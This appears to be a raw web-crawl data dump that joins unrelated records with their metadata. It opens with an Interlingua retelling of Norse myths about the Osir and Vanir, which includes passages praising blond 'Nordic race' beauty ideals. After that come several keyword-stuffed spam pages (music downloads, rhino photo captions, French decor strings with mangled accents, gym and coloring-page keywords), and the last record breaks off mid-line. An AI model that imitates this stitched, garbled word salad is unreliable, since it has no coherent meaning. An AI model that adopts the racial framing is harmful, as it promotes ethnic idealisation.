Ille establiva un governemento de 12 reges, justo que il habeva essite in Troya. Yngve era le supreme rege post Odin, e su descendentes, le Ynglingar, era le familia royal pro sempre.\nLe gentes (populos, nationes) de Odin era le Osir, e lor lingua e cultura se disseminava in tote le nord.\nOdin habeva le costume de poner su manos a lor capites e les benedicer. Su guerreros, quando in periculo al mer o al terra, invocava su nominee e se fideva a Odin.\nInimicos del Osir (Oses) era le Vanir (Vanes). Post multe guerras e battalias le Osir e le Vanir decideva haber un concilio de pace, e illes cambiava hostages. Le Vanir dava lor plus habile e melior personas: Njord e su filio Frey e su filia Freya, le sage Kvase e Heimdal de qui nos narrara plus tarde. Le Osir dava un homine bon e belle, su nomine Hone, e anque le sage Mime.\nIn Vanaheim, le pais del Vanir, Hone deveniva un principal, e Mime le sequeva e consileva in omne concilios e judicamentos. Ma al tempores quando Mime non era presente, Hone sempre diceva \"Le alteres debe decider!\" E in iste maniera il pareva clar al Vanir que le Osir les ha fraudava.\nAlora le Vanir decapitava Mime e inviava su capite al Osir. Odin imbalsava le capite pro preservar lo. E quancunque Odin habeva besonia del sagessa de Mime le capite parlava con ille.\nOdin ordinava Njord e Frey sacredotes e diar inter le Osir. Freya era lor blotgydje, lor prestessa del sacrificios de sanguine. Illa era le prime de inseniar le Osir seid, que es le magia del Vanir. In Vanaheim Njord ha essite maritava a su soror. Ma inter le Osir on non pote haber su soror pro sposa, proque il era un connexion troppo proxime.\nUn grande catena de montanas se extende del nord-est al sud-west separante Grande Svitjod (Russia e Ukraina) del altere paises. A sud de iste catena es proxime de Tyrkland ubi Odin habeva su grande proprietates. In iste era, le armeas Roman se propagava vastemente al terra. Ma Odin era vidente e un magico, e ille sapeva que su descendentes se establira in le nord del terra.\nDunque ille poneva su fratres Ve e Vilje pro principales in Osgard. E Odin viagiava con le diar e su multitudes al west a Gardarike e al sud a Saksland ubi ille establiva su filios como reges. Postea ille viagiava al nord, al paises que nos hodie appella Danmark, Svitjod (Svedia) e Norge (Norvegia).\nGylve, le rege in Svitjod, comprendeva que Odin sera troppo forte que ille. Dunque Gylve faceva pace con Odin, e Odin se establiva in Sigtuna e dava a Njord Noatun, a Frey Uppsala, a Heimdal le Himmelberg, a Tor Trudvang e a Balder Breidablikk, omne iste son fermas excellente.\nEcce le introduction de narrar le historias e sagas del Osir e Vanir qui ha essite como deos e deas del nationes del nord.\nOdin ha le potentia de cambiar su apparentia e su color. Anque ille parlava si que omne auditores crede que omne su declarationes e su expositiones son le sol veritate. Odin parla in un stilo poetic que on apella skaldskap.\nIn guerra Odin pote facer su inimicos cec e surde e debile de terror e que lor armas sera inutile. Ma su proprie guerreros approcha sin armatura e sera folle e terribile como ursos o tauros. Illes son le berserkes.\nSovente Odin cambia su apparentia e corpore. Su proprie corpore sera como morte o somnibulante, quando Odin sera un ave, un animal, un pisce o un serpente. Instatanemente Odin se pote transportar a locos distante, al altere mundos, regnos e realitates. Ille pote pacificar le undas del mar, e con un sol parola extinguer le foco. Odin ha un cavallo, Sleipner, con octo gambas. Su nave, Skipladner, viaga vaste distantias, e on pote le plicar como un drappo.\nLe capite de Mime lo narra novas de altere existentias e realitates, e Odin in tempore del tempore evelia mortes o sede sub un persona executava al furca, pro ganiar information.\nPro ganiar sagessa Odin pagava un de su oculos. E pro ganiar cognoscentia de runer (le litteras magical) Odin se voluntaremente suspendeva nove noctes e nove dies del arbore de sagessa.\nLe sagessa e le scientia de Odin era inseniava al diar, al sages e magos. Ma Freya, le prestessa, que es anque le dia del amor, inseniava le magia de seid a Odin.\nOdin era le prime rege del nord, e post ille Njord, e post ille Frey, e post ille Freya era le regina. Omne le Osir e Vanir deveniva reguardite esser deos e dias post lor morte. E on ha credite que illes retornava a Osgard que era in un loco celestial. Frey anque es nominate Yngve, e le reges del paises Nordic son nominate le Ynglinges.\nDeos e deas in le Osatru, son mortal e imperfecte, como nos. E illes coopera con nos in le lucta versos trolles, gigantes e monstros. Nos son permittite de rider del follias de Odin, Tor e Loke, e de admirar le belle Freya anque in su aventuras amorose.\nLe feminas in le Osatru non son in servitude del masculos, ma pote exequer lor voler con fortia e furor. Le humanitate non es perdite e in besonio de salute e del gratia del deos o deas.\nDunque le introduction del christianismo in le nord era un violentia contra nostre libertate individual, creante un psychologia subversive e con un attitude estranie del spirito nordic. Fortunatemente cambias in le attitudes del ecclesia ha melioriate nostre associationes con le potentias celestial.\nNjord e su geminos Frey e Freya son presentate como sclavos de lor desiros sexual. E, in le conto sequente vos va vider que anque io es rendite le mesme reputation.\nIn facto, le veritate es que nos, le Vanir, pertine a un era ancian, le era que un ahora denota \"le Era de Bronzo\", ma que era in realitate le Era del Auro. Nostre preferentia de bronzo super ferro non era causite de ignorantia. Qualcunque idiota ha le abilitate de cader in un marisco e discoperir ferro. Ma producer bronzo exige cultura, technologia, metallurgia, abilitate de construir naves, navigation, commerciar, sciencia de geographia e linguas, e un nivau politique, e jurisdicia e diplomacia, un intergration social e un cultura tres elevate.\nLe Osir ha nulle capacitate de comprenir iste conceptos. Illes son le producto del collapso del cultura mundial. Lor prime ideal es batallia e luctas. Illes crede que assassinar es superior a cultivar, que destruir es superior a construir. Lor sexualitate pare esser un desira de stupor e violentia.\nNostre civilisation era un de pace, ubi le prime valor era crear e amar, producer e nutrir vita e non le destruer. A consequentia nostre Freya, le deva de amor, Njord e Frey, devas de fertilitate e pace, e io mesme, attende nostre tempore pro restituer sanitate e pace al Terra.\nE ecce un del contas que le Osir ama de recontar de me.\nIlle acceptava e se presenteva con su nomine Rig, Il habeva solmente un lecto la, ma le vetules invitava Rig a dormir inter illes. Rig restava con le copula tres dies, e postea los saluteva a revider.\nMenses passava, e Grangranmatre parturiva un filio. Trel era su nomine. Ce es Sclavo in tu lingua. Trel habeva capillos nigre, apparentia repulsive e pedes grosse e platte. Ma maturante ille sera forte e robuste, capable a portar oneres pesante.\nHeimdall, o que ille se apellava, Rig, vadeva largemente e longe in le vias de Midgard e trovava un casa grande, ben construite e fortificate. Le maestro del casa se apellava Granpatre, e le matron Granmatre Illes habeva vestimentos de lana e telo de lino del qualitate superior. Granpatre se occupava de un obra de arte, un carpenteria, e Granmatre era a sa telario.\nIlles le ha salutate benevenite e le offerite alimentos e bira. E postea illes dormiva in le sol lecto del casa, con Rig inter le duo. In iste maniera ille gaudeva in communicar e dormir tres dies e tres noctes.\nMenses passava, e Granmatre parturiva un filio. Illes le aspergeva con aqua e le appelava Karl. Il deveniva un homine forte e bon, e anque un fermerero competente.\nDe novo Heimdall, Rig, vadeva largemente e longe in le vias de Midgard e trovava un castello grande. Le portas faceva al sud e era claudite. Ma un anello de auro era al porta, e Rig, aperante le porta entrava, e ecce un copula si belle e si gentil que on pote trovar. Lor nomines era Patre e Matre. Ambes habeva vestimentos de multe colores, e de material costose, e illes habeva capillos como auro.\nPatre faceva un corda de su arco e flechas longe e tenue. Matre sueva textiles costose con cordes e broderias del auro pur.\nIlles era tres hospitabile e ha demandite si ille pote restar qualque dies. Rig ha acceptate lor invitation, e ille se ha sedite inter le duo e ha contava de su viages e aventuras . Matre ha preparate un repasto con pan e vino in calices de argento, e con fructos e viande. E postea Rig dormiva inter le duo in lor lecto. E post tres dies e noctes Rig partiva con un \"A revider!\" e retornava a su viage.\nMenses passava, e Matre parturiva un filio. Illes le aspergeva con aqua e le appelava Jarl, i.e. Conte. Jarl era blonde, capillos radiante como le sol, oculos blau como le cielo in maio. Jarl, maturava a un felice e forte guerrero e un soverano de homines.\nUn die, quando Jarl era in le silvas, Rig le incontrava, e Rig le inseniava le runes, i.e. le signos o litteras mysteriose e occulte que pertine al nationes nordic. Rig le appelava su filio, e le commandava prender possession de grande proprietates.\nEcce Jarl\nSanguine al campo,\nJarl a su viage trovava un altere castello. Ille prendeva le filia del proprietario pro uxor, sa cute blanc, sa capillos blonde, sa digitos longe e molle. Lor annos passava in amor e felicitate.\nMa, que expectar del Osir?\nE alora, un description del Osir de mi functiones in lor Osgard e lor historia:\nHeimdall e Gjallarhorn\nHeimdall es le guardiano de Osgard. Sempre ille guarda Bifrost, le ponte del iride que se extende trans le abysso inter Midgard e Osgard.\nHeimdall ha sensos si acute e tenere que ille pote audir le herbas crescer e anque le pelle del oves. E su oculos pote vider a mille millias le plus parve detalias, die e nocte. Heimdall es maravelliose intelligente e sape le tote, le occulte mysterias e omne scientias. E ille ha le capacitate de esser vigilante e sin dormir, plus que omne altere esseres.\nLe Osir, in lor admiration, le ha date grande donos. Le plus excellentes son un spada e su grande corno Gjallarhorn. Si alicun transversa Bivrost, Heimdall va sonar Gjallarhorn. Al fin del eras, quando le inimicos de Osir e homines arriva pro destruer le mundo, Heimdall sonara Gjallarhorn e Bivrost collapsara in un tremor enorme del terra. Ce es Ragnarok, (ce que le hebreos apella Harmageddon o Ha Ar Megiddo).\nHeimdall porta vestimentos albe que le nive, e ille es radiante como le sol.\nCommento per Heimdall\nVos recognosce le similaritates in iste mytho e los del Biblia. Naturallemente le origin ancian es commun e ha elementos prophetic que omne eras pare applicar a su ipse tempore.\nLe descriptiones de me e mi intelligentia etc son correcte.\nBaldur es radiante e belle e omne personas que le cognoce le ama. Baldur es le superior expression del beltate masculin del racia nordic, con su capillos blonde e su oculos blau.\nSu matre, in su ama, ha visitate omne esseres e plantas in le mundo e securava lor juramento de nunquam facer mal a Baldur. Le aves in le aero, le pisces in le mar, omne esseres que ir al pede, omne arbores e flores, spiritos e trolls, roccas e montanas, nive e vento, omnes ha promittite e declarate su ama de Baldur.\nBaldur habitava in su castello Breidablikk (Vaste Vista), con su tecto de argento, supportate de columnas de auro, ubi solemente ce que es pur e sincere es acceptate de entrar. Hic Baldur demorava con su marita Nanna (Flor) e su filia Nip (Button) que son le ideales feminin de nostre race, plen beltate e charme.\nAl plana de Idavoll era le campo de joco del osir. Illes se amusava de jectar lanceas e hachas e tirar flechas a Baldur, proque on sapeva que un alliantia existeva con omne esseres e omne cosas de nunquam facer mal a Baldur.\nal direction e con le supporta de Loke, Hodir jectava le lancea e Baldur cadeva morte a Idavoll. Le osir se affligeva e portava le cadavere a Breidablikk. E Frigga e Odin, Nanna e Nip plorava. Un grande timor del futura eveniva. Es que ce era le tempore de Ragnarok?\nIn Nifilheim es le habitation del mortes. Le filia de Loke, su nomine es Hel, es le regina in iste loco. E alora Baldur passava a Nifilheim. Frigga e Odin promitteva grande richesses de premio a los que pote extraher Baldur e le retornar a Osgard. On tentava trovar qualquno pro inviar a Nifilheim e persuar Hel de liberar Baldur. Hermod ama Baldur e ille era seligite a facer le expedition. Odin prestava Sleipnir, su cavallo con le octo pedes, a Hermod. Le viage era dangerose e dificile, descender le cavas e vias subterranian al profundas del terra. Al porta de entrar es le cane Garm pro guardar contra visitores.\nE anque le osir era gaudiose quando Hermod declarava le condition a qui Hel ha promittite liberar Baldur. Illes inviava messageros in omne directiones e vias pro asassecurar que omnes plorava.\nMa in un caverna era un jotne-kjerring, un gigantessa, que jurava nunquam plorar pro Baldur.\nLe osir era furiose a audir que un persona si dur e omniose existeva qui non voleva liberar le bon Baldur. Illes ha discoperite que le gigantessa era Loki, e que ille anque era le ver assasinator de Baldur. Le osir serchava in le montanas e le mares, in omne locos, e al fin illes trovava Loki e le capturava e le ligava a un rocca pro restar la al fin del tempores.\nLe jotna Skaldi ha fixate un serpente super su capite, e le serpente gutta veneno frigide in su facie. Ma su marita fidel, Sigyn, es la con un cuppa pro capturar le guttas. Quando Sigyn debe vacuar le cuppa, e le venemo gutta in su facie, Loke, in su tormento causa tremores del terra.\nMa nos sape que al fin de Ragnarok, Baldur retornara pro esser le rege al mundo nove pro eternitate. E al nove mundo sera pace e felicitate pro omnes.\nUrd es le vetule e le regina del passate. Verdande es le femina mature, le matre, le regina del presente, e le jeunesse, le virgine es Skuld qui es le regina del futura. On dice que omne le texturas e designas que Urd e Verdande face, Skuld destrue. Skuld es obskur, il es impossibile vider su facie.\nNos ha un tendencia de considerer le futura como indeterminante e le passate como fixate e non possibile de alterer. Le presente, que es solmente un filamento separante le futuro e le passate, es in iste maniera donate le qualitate e autoritate de cambiar le indeterminante al determinante, le incerte e aperte al fixate, le vivente e plenate de potentia al morite e impotente.\nIl es un sol veritate, e le presente es in le passate e in le futuro e ha nulle attribute de cambiar le un del altere. Isto es le mysterio del tres Norns.\nLe tres son in veritate un. Le Matre del existencia e le Matrice in le nonexistencia da un presente eternal. E lor textura, le filos de lor telario es nostre destino in e ex passate e futuro.\nFIMBULVINTER\nFratres occide\nMatres mori.\nRAGNAROK\nE al tempore de Ragnarok, le grande batallia del fin del nostre era iste serpentes invadera le Midgard. Jotnir, trolls, obscur esseres e spiritos maligne arriva pro destruer e occider. Fenrir, le lupo e su patre Loki son liberate de su catenas. Del sud arriva Surt (Nigre) con su armeas, e omne istes va contra le osir a Idavoll pro le batallia final.\nEcce!\nOdin consulta\nJotnir son libre\nFilio Odins\nMatres mori.\nTERRA NOVE\nOsir se assembla\nDel nove le tabulas\n\n\nSend e-post med spørsmål om interlingua til\nfirstname.lastname@example.org","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/interlingua.no\/osir_e_vanir.htm","date":"2017-02-25T04:53:23Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501171664.76\/warc\/CC-MAIN-20170219104611-00340-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.9999473095,"language_script":"Latn","minhash_cluster_size":11,"top_langs":"{\"ina_Latn_score\": 0.9999473094940186}","num_words":5403,"character_repetition_ratio":0.023,"word_repetition_ratio":0.004,"special_characters_ratio":0.207,"stopwords_ratio":0.019,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":986.2,"cluster_detection":-1} +{"text":"Descargar Musica de Raphael Que Tal Te Va Sin Mi\nBuscar: Artista y\/o cancion\nResultados :\nEscuchar musica de raphael que tal te va sin mi\nRaphaelQue Tal Te Vas Sin Mi05:35\nRaphaelQue Tal Te Va Sin Mi04:23\nRaphael¿Que Tal Te Va Sin Mi?05:19\nRaphael¿QUE TAL TE VA SIN MI?05:17\nRaphaelQue Tal Te Va Sin Mi05:22\nRaphaelQue Tal Te Va Sin Mi05:20\nRaphaelQue Tal Te Va Sin Mi05:35","id":"","dump":"CC-MAIN-2017-09","url":"http:\/\/taringamp3.com\/mp3\/raphael-que-tal-te-va-sin-mi","date":"2017-02-20T05:44:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-09\/segments\/1487501170404.1\/warc\/CC-MAIN-20170219104610-00351-ip-10-171-10-108.ec2.internal.warc.gz","language":"ina","language_score":0.7714810371,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.7714810371398926, \"spa_Latn_score\": 0.10601098090410233, \"row_Latn_score\": 0.022627409547567368, \"lad_Latn_score\": 0.010619397275149822}","num_words":106,"character_repetition_ratio":0.261,"word_repetition_ratio":0.515,"special_characters_ratio":0.292,"stopwords_ratio":0.028,"flagged_words_ratio":0.0,"lang_id_score":0.562,"perplexity_score":27481.3,"cluster_detection":-1} +{"text":"2,586 images\n\n\nEndangered Black Rhinoceros in South AfricaWhite rhinoceros in dustWhite Rhinoceros portraitWhite RhinocerosWhite rhinocerosWhite rhinocerosAfrican white rhinoceros, in Kruger parkWhite Rhinoceros in Golden Light, Kruger National White rhinoceros and calfWhite Rhinoceros (Ceratotherium simum)White rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinocerosWhite rhinoceros drinkingWhite rhinocerosBaby calf white rhinocerosWhite Rhinoceros (Ceratotherium simum)Group of white rhinocerosLarge white rhinocerosWhite rhinoceros drinking waterWhite rhinocerosBaby white rhino \/ rhinoceros calf.White rhinocerosAfrican white rhinocerosWhite rhinocerosLarge white rhinocerosAfrican white rhinoceros woundedWhite RhinocerosRhino in south africaWhite rhinocerosWhite RhinocerosWhite RhinocerosWhite rhino \/ rhinoceros mother and calf.White RhinocerosWhite rhinocerosWhite rhinoceros portraitPortrait of a White rhinoceros in MonochromeSouthern white rhinocerosWhite rhinocerosWhite rhinocerosWhite RhinocerosHerd of Elephant in South AfricaThe white rhinocerosHerd of Elephant in South AfricaWhite Rhino South AfricaWhite rhinoceros (Ceratotherium simum simum), animals sceneToned image of a White RhinocerosWhite rhinoceros grazingWhite rhinoceros grazingFemale rhino with 2 calves in Kruger NP,South AfricaThe white rhinoceros(Ceratotherium simum)White rhinoceros (Ceratotherium simum simum), two animalsWhite rhinocerosWhite RhinocerosHerd of Elephant in South AfricaWhite rhinoceros with 5 weeks calfWhite RhinocerosTwo white rhinoceros grazingThe Northern White Rhinoceros (Ceratotherium simum cottoni).White rhinoceros grazingWhite RhinocerosWhite rhinoceros in rainWhite Rhinoceros (Ceratotherium simum)White rhinoceros grazing in a grass fieldWhite rhinoceros with 5 weeks calfWhite Rhinoceros,Square-Lipped Rhinoceros , Ceratotherium simumWhite rhinoceros taking bath in pond.White Rhinoceros (Ceratotherium simum)White Rhino in AfricaWhite rhinoceros, Diceros simusRhino with calv,Kruger NP,South AfricaRhino family with 2 calves,Kruger NP,South AfricaWhite Rhino in AfricaRhino in South AfricaWhite rhinoRhinocerosRhinocerosWhite rhino youngPortrait of two white rhino","id":"","dump":"CC-MAIN-2017-39","url":"https:\/\/www.dreamstime.com\/search.php?srh_field=white%20rhinoceros%20south%20africa&s_ph=y&s_il=y&s_rf=y&s_ed=y&s_clc=y&s_clm=y&s_orp=y&s_ors=y&s_orl=y&s_orw=y&s_st=new&s_sm=all&s_rsf=0&s_rst=7&s_mrg=1&s_sl0=y&s_sl1=y&s_sl2=y&s_sl3=y&s_sl4=y&s_sl5=y&s_mrc1=y&s_mrc2=y&s_mrc3=y&s_mrc4=y&s_mrc5=y&pg=2","date":"2017-09-25T21:14:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-39\/segments\/1505818693363.77\/warc\/CC-MAIN-20170925201601-20170925221601-00280.warc.gz","language":"ina","language_score":0.313385725,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3133857250213623, \"eng_Latn_score\": 0.31150081753730774, \"fil_Latn_score\": 0.11093077063560486, \"ceb_Latn_score\": 0.014947249554097652, \"bcl_Latn_score\": 0.013293433003127575, \"ilo_Latn_score\": 0.012684065848588943, \"xho_Latn_score\": 0.012676718644797802, \"lat_Latn_score\": 0.011700062081217766, \"mri_Latn_score\": 0.011158385314047337, \"nld_Latn_score\": 0.01112088467925787}","num_words":691,"character_repetition_ratio":0.324,"word_repetition_ratio":0.261,"special_characters_ratio":0.125,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.516,"perplexity_score":3542.5,"cluster_detection":-1} +{"text":"grande surface salle de bain en anthracite design comment.\ngrande surface salle de bain parquet,awesome gran surface images interior grande salle de bain ,grande surface salle de bain petite,grande surface salle de bain gran, grande surface salle de bain awesome gran images interior,petite grande surface salle de bain ,grande surface salle de bain caramel pour cm,grande surface salle de bain la plan,mornes shopping lofts grande surface salle de bain,grande surface salle de bain gran","id":"","dump":"CC-MAIN-2018-17","url":"http:\/\/tristao.me\/salle-de-bain-grande-surface\/grande-surface-salle-de-bain-en-anthracite-design-comment\/","date":"2018-04-26T09:50:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-17\/segments\/1524125948125.20\/warc\/CC-MAIN-20180426090041-20180426110041-00231.warc.gz","language":"ina","language_score":0.3839046061,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3839046061038971, \"fra_Latn_score\": 0.18197643756866455, \"knc_Latn_score\": 0.045648179948329926, \"mwl_Latn_score\": 0.032129447907209396, \"gul_Latn_score\": 0.03127175569534302, \"wes_Latn_score\": 0.030829496681690216, \"rmq_Latn_score\": 0.02423528954386711, \"cbk_Latn_score\": 0.02395593374967575, \"glg_Latn_score\": 0.022966966032981873, \"nrm_Latn_score\": 0.0171628650277853, \"nap_Latn_score\": 0.015046677552163601, \"sco_Latn_score\": 0.014605815522372723, \"bew_Latn_score\": 0.014431419782340527, \"cof_Latn_score\": 0.013950456865131855, \"ast_Latn_score\": 0.011207823641598225}","num_words":134,"character_repetition_ratio":0.347,"word_repetition_ratio":0.08,"special_characters_ratio":0.17,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":0.384,"perplexity_score":6213.1,"cluster_detection":-1} +{"text":"bibliotheque deco bibliothaque thesign bibliotheque decombat.\nbibliotheque deco dacco bibliothaque ractro dacco bibliothaque ractro bibliotheque decoupe laser.\nbibliotheque deco catalogue ikea 10 inspirations a copier bibliotheque decodage aacs.\nbibliotheque deco bibliothaque de rave bibliotheque labyrinthe de sortie.\nbibliotheque deco des actagares bibliothaque acclairaces pour mettre en valeur les statuettes et autres accessoires dacco bibliotheque decodage aacs vlc.\nbibliotheque deco bibliotheque ladder decortie.\nbibliotheque deco diy fabriquer une bibliothaque originale bibliotheque de decodage aacs windows 7.\nbibliotheque deco armoire de rangement pour un sacjour moderne meuble salon bibliothaque deco bibliotheque deco maison.\nbibliotheque deco id es d 39 am nagement et de d coration de biblioth que idee deco bibliotheque decoration bibliotheque scolaire.\nbibliotheque deco wwwkadences decofr wwwdecofr wwwmetamorphousefr wwwmaison decocom wwwhellocotonfr et deavitafr bibliotheque de decodage aacs windows 7.\nbibliotheque deco idee decoration bibliotheque.\nbibliotheque deco sacparation chambre 2 enfants bibliothaque telecharger bibliotheque de decodage aacs.\nbibliotheque deco 22 idaces de design et dacco bibliothaque inspirantes decoration bibliotheque contemporaine.\nbibliotheque deco spot sur rail idaces pour un acclairage moderne spot sur rail bibliothaque deco bibliotheque de decodage bd vlc.\nbibliotheque deco modale daccoration bibliothaque sur mesure idace daccoration bibliothaque sur mesure bibliotheque de decodage aacs windows 7.\nbibliotheque deco karl lagerfel bibliothaque bibliotheque decoration de maison.\nbibliotheque deco bibliotheque decoration avec ide deco on d interieur moderne uncategorized idees et salon bibliothques dcoration 740x492 bibliotheque labyrinthe de sortie.\nbibliotheque deco inspiration la bibliothaque sous un nouvel angle bibliotheque decoration.\nbibliotheque deco fashiondesignbyvaleeklablogcom fashiondesignbyvaleeklablogcom wwwmaisoncom wwwfocus maisoncom wwwblog deco linecolcom et frpinterestcom bibliotheque deco design.\nbibliotheque deco bibliotheque de decodage aacs mac.\nbibliotheque deco bibliotheque deco maison.\nbibliotheque deco depuis quelques semaines les sites web de daccoration outre atlantique sinterrogent a propos dun mal qui manifestement gagne du terrain de plus en bibliotheque honey decortie.\nbibliotheque deco dacco bibliothaque idace intacrieur salon fauteuil canapac coussins bibliotheque aaron decortie.\nbibliotheque deco amacnager un coin lecture nos inspirations et idaces dacco bibliotheque decoration maison.\nbibliotheque deco design et dacco bibliothaque en 22 idaces inspirantes bibliotheque soto decortie.\nbibliotheque deco bibliotheque decoration.\nbibliotheque deco affichage dacco bibliothaque salon bibliotheque soto decortie.\nbibliotheque deco aussi pratique questhactique la solution de caser la taclac dans la bibliothaque du salon bibliotheque de decodage aacs windows 8.\nbibliotheque deco bibliotheque decoration maison.","id":"","dump":"CC-MAIN-2018-26","url":"http:\/\/wealthof.me\/bibliotheque-deco\/","date":"2018-06-19T14:20:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-26\/segments\/1529267863043.35\/warc\/CC-MAIN-20180619134548-20180619154548-00218.warc.gz","language":"ina","language_score":0.7289859653,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.7289859652519226, \"fra_Latn_score\": 0.09653311222791672, \"lat_Latn_score\": 0.07249950617551804, \"eng_Latn_score\": 0.01507982611656189}","num_words":930,"character_repetition_ratio":0.29,"word_repetition_ratio":0.147,"special_characters_ratio":0.139,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":0.729,"perplexity_score":8402.2,"cluster_detection":-1} +{"text":"holmes place hamburg holmes place hamburg mundsburg preise.\nholmes place hamburg place holmes place hamburg offnungszeiten ostern.\nholmes place hamburg holmes place hamburger meile kursplan.\nholmes place hamburg instructor training day at place the first workout on water using the floating exercise mat holmes place hamburg altona.\nholmes place hamburg place hamburg center home place hamburg mundsburg.\nholmes place hamburg place hamburg holmes place hamburg mundsburg facebook.\nholmes place hamburg fitness in holmes place hamburg preise.\nholmes place hamburg place hamburger m w in hamburg holmes place hamburg altona.\nholmes place hamburg place holmes place health club hamburg bahrenfeld.\nholmes place hamburg holmes place hamburg mundsburg facebook.\nholmes place hamburg place welt am holmes place hamburg kursplan.\nholmes place hamburg article trainers holmes place hamburg bahrenfeld facebook.\nholmes place hamburg photo of place hamburg hamburg holmes place hamburg preise 2015.\nholmes place hamburg place health club holmes place hamburg germany.\nholmes place hamburg holmes place hamburg mundsburg center.\nholmes place hamburg place holmes place hamburg kurse.\nholmes place hamburg place holmes place preise hamburg bahrenfeld.\nholmes place hamburg place place am 4 holmes place hamburg bahrenfeld preise.\nholmes place hamburg spa night holmes place hamburg bahrenfeld kurse.\nholmes place hamburg hamburg 4 5 swim with one of the most experienced masters coaches in the world glen glen will help you improve holmes place hamburg mundsburg kurse.\nholmes place hamburg holmes place o hamburg mundsburg.\nholmes place hamburg place spa holmes place hamburg offnungszeiten.\nholmes place hamburg hamburg place holmes place hamburg bahrenfeld offnungszeiten.\nholmes place hamburg holmes place hamburg mundsburg.\nholmes place hamburg place hamburger reviews photos hamburg hamburg holmes place hamburg offnungszeiten weihnachten.\nholmes place hamburg 2 holmes place hamburg kurse.\nholmes place hamburg holmes place hamburg mundsburg massage.\nholmes place hamburg place hamburg hamburg holmes place hamburg mundsburg.","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/freestarterkit.info\/holmes-place-hamburg\/","date":"2018-07-17T09:27:46Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589634.23\/warc\/CC-MAIN-20180717090227-20180717110227-00537.warc.gz","language":"ina","language_score":0.6792952418,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.6792952418327332, \"sco_Latn_score\": 0.0809633731842041, \"eng_Latn_score\": 0.0774279460310936, \"bew_Latn_score\": 0.04741738364100456, \"ile_Latn_score\": 0.01691891811788082, \"lat_Latn_score\": 0.011149418540298939}","num_words":639,"character_repetition_ratio":0.437,"word_repetition_ratio":0.287,"special_characters_ratio":0.158,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":0.679,"perplexity_score":8213.9,"cluster_detection":-1} +{"text":"awesome deco jardin moderne images for idee jardin deco jardin deco de jardin moderne deco exterieur jardin moderne.\ndecoration exterieur jardin moderne decoration exterieur jardin moderne deco de jardin moderne astuces pour cracer votre decoration exterieur jardin deco de jardin moderne deco jardin maison moderne.\nbassin deau et dacco de jardin moderne deco de jardin moderne decoration de jardin moderne.\nspiegel modernen deco fassade gartenhaus deco de jardin moderne idee deco jardin moderne.\ndeco de jardin moderne 13 am233nager une cuisine ouverte sur salle 224 manger deco de jardin moderne deco jardin maison moderne.\ndacco de jardin moderne et pot de fleur design deco de jardin moderne deco exterieur jardin moderne.\ndeco de jardin moderne voici rakki jardin sims 4 un nouveau jardin moderne pour nos sims deco de jardin moderne deco jardin moderne.\nstunning deco de jardin moderne contemporary design trends 2017 deco de jardin moderne deco jardin maison moderne.\nstunning deco de jardin moderne contemporary design trends 2017 deco de jardin moderne decoration de jardin moderne.\nawesome idee de jardin moderne photos design trends 2017 deco de jardin moderne decoration exterieur jardin moderne.\ndeco jardin contemporain amacnagement terrasse et jardin djunails deco de jardin moderne statue deco jardin moderne.\ndecoration exterieur jardin moderne deco de jardin moderne amacnagement de jardin moderne decoration exterieur jardin moderne deco de jardin moderne decoration de jardin moderne.\ndecoration exterieur jardin moderne deco de jardin moderne statue deco jardin moderne.\ndeco de jardin moderne idee deco jardin moderne.\ngallery of with deco de jardin moderne deco de jardin moderne decoration exterieur jardin moderne.\ndaccoration de jardin moderne avec bassin aquatique deco de jardin moderne deco jardin moderne.\nallace jardin anglais idace pierre dacco originale idace amacnagement jardin moderne deco de jardin moderne idee deco jardin moderne.\njardin moderne avec fontaine deco de jardin moderne deco jardin moderne.\ndeco jardin design amazing home ideas freetattoosdesign us deco de jardin moderne deco exterieur jardin moderne.\ndeco de jardin moderne amenagement terrasse exterieur et sol en carrelage dextacrieur meubles de jardin deco deco de jardin moderne deco de jardin moderne decoration exterieur jardin moderne.\ninspirations pinterest dacco jardin et terrasse voici notre saclection des plus belles images deco de jardin moderne decoration exterieur jardin moderne.","id":"","dump":"CC-MAIN-2018-34","url":"http:\/\/hyipmonitors.info\/deco-de-jardin-moderne\/","date":"2018-08-15T07:20:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-34\/segments\/1534221209980.13\/warc\/CC-MAIN-20180815063517-20180815083517-00039.warc.gz","language":"ina","language_score":0.9141513705,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.9141513705253601, \"fra_Latn_score\": 0.049094099551439285}","num_words":576,"character_repetition_ratio":0.389,"word_repetition_ratio":0.173,"special_characters_ratio":0.164,"stopwords_ratio":0.052,"flagged_words_ratio":0.0,"lang_id_score":0.914,"perplexity_score":6038.1,"cluster_detection":-1} +{"text":"coloriages super mario coloriages super mario galaxy.\ncoloriages super mario super kart a a a odyssey new super bros a coloriage super mario galaxy a imprimer.\ncoloriages super mario super bros super coloriage super mario 3d land.\ncoloriages super mario a coloring pages 7 super a coloriages super mario odyssey.\ncoloriages super mario super me 0 s pour coloriages super mario imprimer.\ncoloriages super mario coloriage super mario bros a imprimer.\ncoloriages super mario super galaxy 1 coloriage new super mario bros 